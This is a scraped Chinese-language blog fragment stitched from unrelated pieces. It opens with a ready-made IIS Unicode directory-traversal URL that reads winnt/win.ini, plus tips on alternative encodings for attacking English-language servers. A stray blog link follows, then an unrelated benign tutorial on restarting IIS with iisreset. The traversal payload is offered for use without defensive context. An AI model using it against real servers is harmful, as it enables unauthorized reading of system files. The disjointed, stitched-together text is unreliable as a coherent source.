http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
这个漏洞是针对中文操作平台,你也可以使用”%c0%af”或者”%c1%9c”来测试英文版本,原因就是编码不同。

http://publishblog.blogchina.com/blog/tb.b?diaryID=1847050

开关IIS不重启电脑

有时候我们在WEB程序如:ASP,中无意中使用到了一个死循环,或者在测试DLL组件时,挂了。这时候IIS就停止了响应,我们要继续我们的工作啊,重启IIS服务吧。   然而这个进程还在执行,Internet 服务管理器还关闭不了。而当想结束inetinfo.exe 或者 DLLHOST.EXE 进程的时候,我们得到了一个拒绝的信息,当然你是管理员权限也还是得到这样提示。你也可能会用net stop,不过花的时间要长些,而且有时候不响应。   这时我们只有重启电脑了。能不用重启电脑而RESTART IIS么?  当然可以,Microsoft在安装IIS的时候同时安装了一个工具,叫 iisreset,你可以在winntsystem32 中找到它,他可以和PING一样以命令行方式使用。它有多个参数,下面是几个重要的,也是我们本文切题的参数:
/RESTART 停止后启动IIS
/START 启动IIS (如果停止)
/STOP 停止IIS (如果启动)
/REBOOT 重启电脑
/REBOOTONERROR 如果停止IIS失败重启电脑
/NOFORCE 不用强迫IIS停止
/TIMEOUT:X 在X秒后, IIS被强制停止,除非
/NOFORCE 参数给出.如果
/REBOOTONERROR 给出, 它重启电脑.   最方便的使用,当然你也可在CMD下运行:200492214816_20050318094943.gif